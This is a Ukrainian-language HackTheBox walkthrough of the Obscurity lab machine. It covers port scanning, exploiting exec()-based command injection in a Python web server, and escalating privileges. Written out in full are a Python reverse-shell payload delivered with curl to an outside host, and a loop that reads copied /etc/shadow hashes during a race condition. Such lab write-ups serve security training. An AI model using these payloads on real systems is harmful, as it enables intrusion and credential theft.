
Вивчення кібербезпеки — це важливий крок до захисту даних та інфраструктури. У цій статті ми розглядаємо практичний кейс із HackTheBox, присвячений машині Obscurity. Ви дізнаєтеся, як виявляти вразливості в коді, експлуатувати OS Command Injection і працювати з Race Condition. Стаття містить детальний аналіз коду Python, пошук уразливостей, а також опис кроків для отримання доступу до системи та підвищення привілеїв.
У статті розглядається експлуатація вразливостей у програмному коді на Python, а також виконання атаки типу Race Condition.
Підключення до лабораторії здійснюється через VPN. З метою безпеки не рекомендується використовувати робочий комп’ютер або хост із важливими даними, оскільки підключення відбувається до приватної мережі, де перебувають досвідчені фахівці з інформаційної безпеки.
Ця машина має IP адресу 10.10.10.168, яку додаємо в /etc/hosts.
10.10.10.168 obscurity.htb
Спочатку проводиться сканування відкритих портів. Для пришвидшення процесу, замість сканування всіх портів за допомогою nmap, використовується masscan. Сканування охоплює всі TCP та UDP порти через інтерфейс tun0 зі швидкістю 500 пакетів на секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500
Далі проводиться сканування з опцією -А, щоб отримати більш детальну інформацію про сервіси, які працюють на відкритих портах.
nmap -A obscurity.htb -p22,8080
Таким чином, маємо:
Самописний сервер
Використовується шифрування
Код сервера у файлі SuperSecureServer.py у якомусь невідомому каталозі.
Знаючи назву файлу, виконується перебір каталогів за допомогою wfuzz. У якості параметрів передаються словник, URL-адреса та код відповіді, який необхідно ігнорувати.
wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404
Відкриваємо та аналізуємо сервер. Знаходимо потенційно небезпечне використання функції exec().
До коду додаються кілька додаткових рядків для реалізації необхідного функціоналу.
exec()
. Після запуску сервера надсилається відповідний запит для перевірки.curl http://127.0.0.1:33333/asd
curl "http://127.0.0.1:33333/asd'"
curl "http://127.0.0.1:33333/asd''"
Таким чином, маємо OS Command injection.
curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"
Використовувємо наступний реверс шелл python.
import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.15.60",4321)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
Оскільки необхідні модулі вже імпортовані у коді сервера, їх імпорт з шелла видаляється. Додатково виконується екранування лапок і квадратних дужок для коректної роботи.
curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
Чудово! Все працює на локальній машині. Виконуємо цей запит на сервер.
curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
Маємо точку входу.
Оглядаємося на сервері і знаходимо доступні для читання файли в домашній директорії користувача.
Читаємо файли.
Таким чином, файли зашифровані. Викачуємо все, що нам дається, на локальний хост. Як сказано в повідомленні, зашифрований файл check.txt, а результат в out.txt. Подивимося алгоритм.
Шифрування здійснюється шляхом додавання символу тексту до символу ключа за модулем 255. Для розшифровування символи тексту та ключа віднімаються.
Це виглядає так:
([check.txt]+[key])mod 255=out.txt([check.txt] + [key]) \mod 255 = out.txt
([out.txt]−[key])mod 255=check.txt([out.txt] – [key]) \mod 255 = check.txt.
Таким чином, ключ можна обчислити за формулою:
([out.txt]−[check.txt])mod 255=key([out.txt] – [check.txt]) \mod 255 = key.
І переглянемо ключ.
І тепер на цьому ключі розшифровуємо пароль користувача.
З цим паролем підключаємося SSH і забираємо прапор користувача.
Подивимося налаштування sudo, а саме, чи користувач robert може виконувати будь-які команди під sudo без пароля.
Код запитує автентифікаційні дані для виконання операцій. Після введення даних вміст файлу /etc/shadow
копіюється до каталогу /tmp/SSH/*
. Далі відбувається перевірка автентифікаційних даних, і після успішної перевірки файл видаляється з каталогу /tmp/SSH
.
Таким чином, ми повинні встигнути скопіювати файл із /tmp/SSH/*, поки він не буде видалений. Запустимо другий термінал і виконаємо у ньому нескінченний цикл читання.
for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done
Тепер запускаємо програму, вводимо будь-які дані та бачимо хеші.
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
І вони легко ламаються.
Отримується прапор рута.